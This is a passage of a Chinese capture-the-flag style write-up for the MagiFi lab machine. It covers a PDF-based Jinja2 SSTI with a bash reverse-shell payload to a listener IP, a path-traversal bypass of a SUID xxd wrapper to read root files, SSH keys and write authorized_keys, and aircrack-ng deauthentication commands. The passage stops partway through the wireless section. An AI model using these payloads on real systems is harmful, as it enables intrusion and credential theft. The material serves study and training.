                &amp;lt;meta name=&amp;quot;theme-color&amp;quot; content=&amp;quot;#ffffff&amp;quot;&amp;gt;
            &amp;lt;/head&amp;gt;
            &amp;lt;body&amp;gt;
                &amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;
                    &amp;lt;h1&amp;gt;Application Received&amp;lt;/h1&amp;gt;
                    &amp;lt;p&amp;gt;Thank you. Your application to Hogwarts has been successfully submitted with the following data:&amp;lt;/p&amp;gt;
                    &amp;lt;p&amp;gt;
                        &amp;lt;ul&amp;gt;
                            &amp;lt;li&amp;gt;Name: &amp;lt;/li&amp;gt;
                            &amp;lt;li&amp;gt;Surname: &amp;lt;/li&amp;gt;
                            &amp;lt;li&amp;gt;Address: &amp;lt;/li&amp;gt;
                            &amp;lt;li&amp;gt;Birthday: &amp;lt;/li&amp;gt;
                            &amp;lt;li&amp;gt;Pet Breed: &amp;lt;/li&amp;gt;
                            &amp;lt;li&amp;gt;Pet&amp;#39;s Name: &amp;lt;/li&amp;gt;
                        &amp;lt;/ul&amp;gt;
                    &amp;lt;/p&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/body&amp;gt;
        &amp;lt;/html&amp;gt;
        
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;解析&lt;/h4&gt;
&lt;h5&gt;1️⃣ &lt;code&gt;/upload&lt;/code&gt;只接受 PDF&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.docx&lt;/code&gt; 模板直接上传 ❌&lt;/li&gt;
&lt;li&gt;最小合法 PDF 上传 ✅（200 OK）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h5&gt;2️⃣ 返回页面里的字段&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;lt;li&amp;gt;Name: &amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Surname: &amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Address: &amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Birthday: &amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Pet Breed: &amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Pet&amp;#39;s Name: &amp;lt;/li&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但你在请求里 &lt;strong&gt;只传了一个文件&lt;/strong&gt;，没有任何字段。&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;结论非常明确：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后端是 &lt;strong&gt;从 PDF 文件内部解析字段内容&lt;/strong&gt;，然后渲染到模板里。&lt;/p&gt;
&lt;p&gt;这一步已经不是“上传”，而是 &lt;strong&gt;PDF → 结构化数据解析&lt;/strong&gt;。&lt;/p&gt;
&lt;h5&gt;🧠 后端大概率在做什么（Flask 视角）&lt;/h5&gt;
&lt;p&gt;结合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flask / Werkzeug&lt;/li&gt;
&lt;li&gt;PDF&lt;/li&gt;
&lt;li&gt;字段名固定&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;非常典型的逻辑👇&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;from PyPDF2 import PdfReader

reader = PdfReader(uploaded_file)
text = reader.pages[0].extract_text()

name = extract(&amp;quot;Name:&amp;quot;, text)
surname = extract(&amp;quot;Surname:&amp;quot;, text)
...
return render_template(&amp;quot;confirmation.html&amp;quot;, **fields)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者更高级一点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;strong&gt;PDF 表单字段（AcroForm）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;get_fields()&lt;/code&gt; 之类的 API&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;👉 &lt;strong&gt;这意味着攻击面不在“上传”，而在：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PDF 内容结构&lt;/li&gt;
&lt;li&gt;PDF 字段 / 文本解析&lt;/li&gt;
&lt;li&gt;模板渲染&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;漏洞利用&lt;/h3&gt;
&lt;p&gt;发现可能是&lt;code&gt;Python&lt;/code&gt;解析的，尝试&lt;code&gt;SSTI&lt;/code&gt;：&lt;/p&gt;
&lt;p&gt;相关 payload 可以参考：&lt;a href=&quot;https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Python/&quot;&gt;https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Python/&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter

c = canvas.Canvas(&amp;quot;malicious.pdf&amp;quot;, pagesize=letter)
c.drawString(100, 700, &amp;quot;Name: Harry&amp;quot;)
c.drawString(100, 680, &amp;quot;Surname: {{7*7}}&amp;quot;)
c.drawString(100, 660, &amp;quot;Address: PrivetDrive&amp;quot;)
c.drawString(100, 640, &amp;quot;Birthday: 31071980&amp;quot;)
c.drawString(100, 620, &amp;quot;Pet Breed: Owl&amp;quot;)
c.drawString(100, 600, &amp;quot;Pet&amp;#39;s Name: Hedwig&amp;quot;)
c.save()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Magifi-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以执行命令，尝试反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter

c = canvas.Canvas(&amp;quot;malicious.pdf&amp;quot;, pagesize=letter)
c.drawString(100, 700, &amp;quot;Name: Harry&amp;quot;)
c.drawString(100, 680, &amp;quot;Surname: {{ self.__init__.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;bash -c \&amp;quot;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.0.108/4444 0&amp;gt;&amp;amp;1\&amp;quot;&amp;#39;).read() }}&amp;quot;)
c.drawString(100, 660, &amp;quot;Address: PrivetDrive&amp;quot;)
c.drawString(100, 640, &amp;quot;Birthday: 31071980&amp;quot;)
c.drawString(100, 620, &amp;quot;Pet Breed: Owl&amp;quot;)
c.drawString(100, 600, &amp;quot;Pet&amp;#39;s Name: Hedwig&amp;quot;)
c.save()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 4444
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&amp;lt;81.
  from pkg_resources import iter_entry_points
[10:45:04] Welcome to pwncat 🐈!         __main__.py:164
[10:45:11] received connection from           bind.py:84
           192.168.0.106:50872                          
[10:45:13] 192.168.0.106:50872:           manager.py:957
           registered new host w/ db                    
(local) pwncat$ back
(remote) harry_potter@MagiFi:/home/harry_potter/Hogwarts_web$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/harry_potter$ cat user.txt 
hogwarts{ea4bc74f09fb69771165e57b1b215de9}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/$ find / -perm -4000 2&amp;gt;/dev/null
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/xxd_horcrux
/usr/bin/su
/usr/bin/fusermount
/usr/bin/at
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/authbind/helper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/snapd/23545/usr/lib/snapd/snap-confine
/snap/core20/2434/usr/bin/chfn
/snap/core20/2434/usr/bin/chsh
/snap/core20/2434/usr/bin/gpasswd
/snap/core20/2434/usr/bin/mount
/snap/core20/2434/usr/bin/newgrp
/snap/core20/2434/usr/bin/passwd
/snap/core20/2434/usr/bin/su
/snap/core20/2434/usr/bin/sudo
/snap/core20/2434/usr/bin/umount
/snap/core20/2434/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2434/usr/lib/openssh/ssh-keysign
/snap/core20/2686/usr/bin/chfn
/snap/core20/2686/usr/bin/chsh
/snap/core20/2686/usr/bin/gpasswd
/snap/core20/2686/usr/bin/mount
/snap/core20/2686/usr/bin/newgrp
/snap/core20/2686/usr/bin/passwd
/snap/core20/2686/usr/bin/su
/snap/core20/2686/usr/bin/sudo
/snap/core20/2686/usr/bin/umount
/snap/core20/2686/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2686/usr/lib/openssh/ssh-keysign
/home/tom.riddle/.horcrux.png
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/tom.riddle$ strings /usr/bin/xxd_horcrux
/lib64/ld-linux-x86-64.so.2
w9-$9
libc.so.6
exit
strncmp
wait
perror
getpwuid
puts
fork
__stack_chk_fail
dup2
stderr
getuid
execvp
fwrite
close
open
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
/usr/bin/xxd
--help
    -O &amp;lt;file&amp;gt;   specify output file (only horcruxes are allowed).
Error forking
tom.riddle
You are not worthy to handle the Horcrux!
/root/
/etc/
I hate dealing with Muggle gadgets!
Error: Output file can&amp;#39;t be empty, use the -O option.
.horcrux.png
Not every wizards can use or destroy a Horcrux!
Error opening output file
Error redirecting output to file
Error executing xxd
:*3$&amp;quot;
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
xxd_horcrux.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strncmp@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
getpwuid@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
getuid@@GLIBC_2.2.5
dup2@@GLIBC_2.2.5
close@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
show_help
__libc_csu_init
__bss_start
main
open@@GLIBC_2.2.5
perror@@GLIBC_2.2.5
execvp@@GLIBC_2.2.5
exit@@GLIBC_2.2.5
fwrite@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
wait@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
fork@@GLIBC_2.2.5
stderr@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
(remote) harry_potter@MagiFi:/home/tom.riddle$ /usr/bin/xxd_horcrux 
You are not worthy to handle the Horcrux!
“你不配掌控（或处理）这个魂器！”
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;XXD&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;xxd&lt;/code&gt; 是一个&lt;strong&gt;把二进制数据“翻译成人能看懂的十六进制文本”的工具&lt;/strong&gt;，本质上就是个 &lt;strong&gt;hex dump / hex editor 辅助工具&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;一句话版👇&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;xxd = 把文件的每个字节，用十六进制方式展示出来（也能反过来）&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;xxd_horcrux&lt;/h2&gt;
&lt;p&gt;逆向ai复原伪代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;pwd.h&amp;gt;
#include &amp;lt;sys/wait.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

void show_help() {
    pid_t pid = fork();
    if (pid == 0) {
        // 子进程直接执行 xxd --help
        char *argv[] = {&amp;quot;/usr/bin/xxd&amp;quot;, &amp;quot;--help&amp;quot;, NULL};
        execvp(&amp;quot;/usr/bin/xxd&amp;quot;, argv);
        _exit(1); // exec失败
    } else if (pid &amp;gt; 0) {
        // 父进程等待子进程
        wait(NULL);
        puts(&amp;quot;    -O &amp;lt;file&amp;gt;   specify output file (only horcruxes are allowed).&amp;quot;);
    } else {
        perror(&amp;quot;Error forking&amp;quot;);
    }
}

int main(int argc, char **argv) {
    uid_t uid = getuid();
    struct passwd *pw = getpwuid(uid);
    if (!pw || strcmp(pw-&amp;gt;pw_name, &amp;quot;tom.riddle&amp;quot;) != 0) {
        fwrite(&amp;quot;You are not worthy to handle the Horcrux!\n&amp;quot;, 1, 42, stderr);
        return 1;
    }

    if (argc &amp;lt;= 1 || strcmp(argv[1], &amp;quot;-h&amp;quot;) == 0 || strcmp(argv[1], &amp;quot;--help&amp;quot;) == 0) {
        show_help();
        return 1;
    }

    char *outfile = NULL;
    for (int i = 1; i &amp;lt; argc; i++) {
        if (strcmp(argv[i], &amp;quot;-O&amp;quot;) == 0 &amp;amp;&amp;amp; i + 1 &amp;lt; argc) {
            outfile = argv[i + 1];
            argv[i + 1] = NULL; // 模拟汇编里把 argv[i+1] 清零
            i++; // 跳过文件名
        }
    }

    if (!outfile || strlen(outfile) == 0) {
        fwrite(&amp;quot;Error: Output file can&amp;#39;t be empty, use the -O option.\n&amp;quot;, 1, 54, stderr);
        show_help();
        return 1;
    }

    // 文件名必须以 &amp;quot;.horcrux.png&amp;quot; 结尾
    size_t len = strlen(outfile);
    if (len &amp;lt; 12 || strcmp(outfile + len - 12, &amp;quot;.horcrux.png&amp;quot;) != 0) {
        fwrite(&amp;quot;Not every wizards can use or destroy a Horcrux!\n&amp;quot;, 1, 49, stderr);
        return 1;
    }

    // 禁止写 /root 和 /etc
    if (strncmp(outfile, &amp;quot;/root/&amp;quot;, 6) == 0 || strncmp(outfile, &amp;quot;/etc/&amp;quot;, 5) == 0) {
        fwrite(&amp;quot;I hate dealing with Muggle gadgets!\n&amp;quot;, 1, 36, stderr);
        return 1;
    }

    // 打开文件
    int fd = open(outfile, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd &amp;lt; 0) {
        perror(&amp;quot;Error opening output file&amp;quot;);
        return 1;
    }

    // fork/exec xxd
    pid_t pid = fork();
    if (pid == 0) {
        dup2(fd, STDOUT_FILENO);
        close(fd);
        char *xxd_argv[] = {&amp;quot;/usr/bin/xxd&amp;quot;, NULL};
        execvp(&amp;quot;/usr/bin/xxd&amp;quot;, xxd_argv);
        _exit(1);
    } else if (pid &amp;gt; 0) {
        wait(NULL);
    } else {
        perror(&amp;quot;Error forking&amp;quot;);
        close(fd);
        return 1;
    }

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;          ┌───────────────┐
          │   程序启动     │
          └───────┬───────┘
                  │
                  ▼
         ┌─────────────────┐
         │ 获取当前用户 UID │
         └───────┬─────────┘
                 │
                 ▼
         ┌────────────────────────────┐
         │ 用户是否是 tom.riddle?     │
         └───────┬───────────────┘
           是    │    否
           │     ▼
           │  fwrite(&amp;quot;You are not worthy...\n&amp;quot;)
           │  return 1
           │
           ▼
┌─────────────────────────────┐
│ argc &amp;lt;= 1 或 argv[1] 为 -h │
│ 或 --help                    │
└─────────┬───────────────────┘
          │
          ▼
      show_help() ──┐
          │         │
          ▼         │
       return 1     │
                   │
           ┌───────▼──────────┐
           │ 遍历 argv 参数    │
           │ 查找 -O 选项       │
           └───────┬──────────┘
                   │
           是否指定输出文件?
           │       │
           │       ▼
           │  fwrite(&amp;quot;Error: Output file can&amp;#39;t be empty...&amp;quot;)
           │  show_help()
           │  return 1
           │
           ▼
  ┌──────────────────────────┐
  │ 文件名是否合法?           │
  │ 1. 以 &amp;quot;.horcrux.png&amp;quot; 结尾 │
  │ 2. 不在 /root/ 或 /etc/   │
  └─────────┬────────────────┘
      否     │      是
      │      ▼
fwrite(&amp;quot;Not every wizards can ...&amp;quot;) 继续执行
或 fwrite(&amp;quot;I hate dealing with ...&amp;quot;)  
return 1
      │
      ▼
┌───────────────────────────┐
│ 打开输出文件 fd            │
└─────────┬─────────────────┘
          │
          ▼
      fork() ──────┐
          │        │
      子进程      父进程
          │        │
  dup2(fd, STDOUT) │
  close(fd)        │
  execvp(&amp;quot;/usr/bin/xxd&amp;quot;) │
          │        ▼
       _exit(1)   wait(NULL)
          │
          ▼
       程序结束
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二进制分析总结&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;安全检查：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;用户检查&lt;/strong&gt;：必须以 &lt;code&gt;tom.riddle&lt;/code&gt; 用户运行（&lt;code&gt;strcmp&lt;/code&gt; 在地址 &lt;code&gt;0x1404&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路径黑名单&lt;/strong&gt;：阻止参数以 &lt;code&gt;/root/&lt;/code&gt; 或 &lt;code&gt;/etc/&lt;/code&gt; 开头（&lt;code&gt;strncmp&lt;/code&gt; 在 &lt;code&gt;0x1552&lt;/code&gt; 和 &lt;code&gt;0x1581&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出文件&lt;/strong&gt;：必须指定 &lt;code&gt;-O .horcrux.png&lt;/code&gt;（&lt;code&gt;strcmp&lt;/code&gt; 在 &lt;code&gt;0x160D&lt;/code&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;封装 &lt;code&gt;/usr/bin/xxd&lt;/code&gt;，将标准输出重定向到指定输出文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SUID 权限运行&lt;/strong&gt;，在执行 &lt;code&gt;execvp&lt;/code&gt; 前不会降权&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;漏洞 —— 路径检查绕过&lt;/h3&gt;
&lt;p&gt;路径检查使用 &lt;code&gt;strncmp&lt;/code&gt;，只检查参数是否&lt;strong&gt;以 &lt;strong&gt;&lt;code&gt;**/root/**&lt;/code&gt;&lt;/strong&gt; 或 &lt;strong&gt;&lt;code&gt;**/etc/**&lt;/code&gt;&lt;/strong&gt; 开头&lt;/strong&gt;。&lt;br&gt;因此可以通过路径遍历来绕过：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 这个会被阻止：
xxd_horcrux /root/root.txt -O .horcrux.png

# 这个可以绕过检查：
xxd_horcrux /home/../root/root.txt -O .horcrux.png
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;利用步骤&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;首先切换到 &lt;strong&gt;&lt;code&gt;**tom.riddle**&lt;/code&gt;&lt;/strong&gt; 用户&lt;/strong&gt;（这是二进制的要求）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;读取敏感文件&lt;/strong&gt;（例如 root flag 或 SSH key）：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;cd /tmp
xxd_horcrux /home/../root/root.txt -O .horcrux.png
cat .horcrux.png
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;或者读取 root 的 SSH 密钥：&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;xxd_horcrux /home/../root/.ssh/id_rsa -O .horcrux.png
xxd -r .horcrux.png   # 如果输出的是 hex
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;替代方法 —— 写入 &lt;strong&gt;&lt;code&gt;**authorized_keys**&lt;/code&gt;&lt;/strong&gt;（如果可以使用 xxd -r）：&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 生成你的公钥并进行 hex 编码
echo &amp;quot;ssh-rsa AAAA... your-key&amp;quot; | xxd &amp;gt; /tmp/key.hex

# 使用 xxd_horcrux 写入 root 授权密钥（路径检查同样适用）
xxd_horcrux -r /tmp/key.hex -O /home/../root/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;核心洞察&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strncmp&lt;/code&gt; 仅进行前缀匹配检查&lt;/li&gt;
&lt;li&gt;因此 &lt;strong&gt;路径遍历（/../）&lt;/strong&gt; 可以有效绕过黑名单 &lt;code&gt;/root/&lt;/code&gt; 或 &lt;code&gt;/etc/&lt;/code&gt; 的限制&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;无线网络渗透测试&lt;/h2&gt;
&lt;h3&gt;sudo -l&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/usr/bin$ sudo -l
Matching Defaults entries for harry_potter on MagiFi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User harry_potter may run the following commands on
        MagiFi:
    (root) NOPASSWD: /usr/sbin/aireplay-ng,
        /usr/sbin/airmon-ng, /usr/sbin/airodump-ng,
        /usr/bin/airdecap-ng, /usr/bin/hostapd-mana
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;一、&lt;code&gt;/usr/sbin/aireplay-ng&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：属于Aircrack-ng套件，用于向无线网络注入数据包以生成流量，辅助破解WPA/WPA2密钥。 &lt;strong&gt;核心用途&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;支持多种攻击模式，如解除认证（Deauthentication）、伪造认证（Fake Authentication）、ARP请求重放等&lt;/li&gt;
&lt;li&gt;通过生成流量捕获WPA握手包，为后续破解提供数据支持。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 强制解除认证攻击（使客户端断开连接）
aireplay-ng -0 10 -a BSSID -c STATION wlan0mon
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;二、&lt;code&gt;/usr/sbin/airmon-ng&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：管理无线网卡的监控模式（Monitor Mode），用于捕获所有经过网卡的数据包。 &lt;strong&gt;核心用途&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;启动/停止监控模式：&lt;code&gt;airmon-ng start wlan0&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;检查干扰进程（如网络管理器）并终止：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;airmon-ng check kill
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;适用场景：无线网络渗透测试、流量嗅探。&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;三、&lt;code&gt;/usr/sbin/airodump-ng&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：无线网络扫描与数据包捕获工具，常用于识别目标网络及收集握手包。 &lt;strong&gt;核心功能&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实时显示AP的SSID、BSSID、信号强度、加密方式等信息&lt;/li&gt;
&lt;li&gt;支持按频道、BSSID过滤，优化数据捕获效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 锁定目标AP并捕获握手包
airodump-ng --bssid 00:11:22:33:44:55 -c 6 --write capture wlan0mon
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;四、&lt;code&gt;/usr/bin/airdecap-ng&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：解密WPA/WPA2加密的捕获文件（如&lt;code&gt;.cap&lt;/code&gt;或&lt;code&gt;.ivs&lt;/code&gt;），提取明文流量。 &lt;strong&gt;核心用途&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;需提供目标网络的ESSID和密码进行解密。&lt;/li&gt;
&lt;li&gt;支持剥离无线协议头，生成纯数据文件&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;五、&lt;code&gt;/usr/bin/hostapd-mana&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;功能&lt;/strong&gt;：恶意接入点（Evil Twin）工具，用于创建仿冒Wi-Fi热点实施中间人攻击。 &lt;strong&gt;核心功能&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;结合Karma攻击，自动响应客户端探测请求，伪造合法热点&lt;/li&gt;
&lt;li&gt;支持SSL剥离（SSLstrip）、Cookie窃取等攻击。 &lt;strong&gt;风险提示&lt;/strong&gt;：&lt;/li&gt;
&lt;li&gt;需配合&lt;code&gt;hostapd&lt;/code&gt;配置文件及DHCP服务实现钓鱼网络。&lt;/li&gt;
&lt;li&gt;可能被用于非法入侵，需严格授权使用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; 看来这一关和网络有关，看一下相关配置：  &lt;/p&gt;
&lt;h3&gt;网卡&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/usr/bin$ ip -br addr
lo               UNKNOWN        127.0.0.1/8 ::1/128 
enp0s3           UP             192.168.0.106/24 fe80::a00:27ff:fed2:ba97/64 
docker0          DOWN           172.17.0.1/16 
wlan0            DOWN           
wlan1            DOWN           
wlan2            DOWN           
wlan3            DOWN           
wlan4            DOWN           
wlan5            DOWN           
wlan6            DOWN           
wlan60           DOWN           
hwsim0           DOWN           
veth1@if77       UP             10.200.1.1/24 fe80::80ca:15ff:fef4:e359/64 
veth2@if79       UP             10.200.2.1/24 fe80::c47e:55ff:fe79:201a/64 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;监听网卡&lt;/h4&gt;
&lt;p&gt;由于含有很多无线网卡，根据传统步骤，先&lt;strong&gt;排查并终止可能干扰无线网卡监控模式的进程&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/harry_potter$ sudo /usr/sbin/airmon-ng check kill  # 终止干扰进程

Killing these processes:

    PID Name
    639 dhclient

(remote) harry_potter@MagiFi:/home/harry_potter$ sudo /usr/sbin/airmon-ng start wlan0  # 开启监听模式


PHY     Interface       Driver          Chipset

phy10   wlan0           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211

                (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
                (mac80211 station mode vif disabled for [phy10]wlan0)
phy11   wlan1           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy12   wlan2           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy13   wlan3           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy14   wlan4           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy15   wlan5           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy16   wlan6           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
phy70   wlan60          mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现网卡接口为&lt;code&gt;wlan0mon&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;扫描不同频段的网络，分别是 2.4GHz 和 5GHz&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) harry_potter@MagiFi:/home/harry_potter$ sudo /usr/sbin/airodump-ng wlan0mon   # 2.4GHz
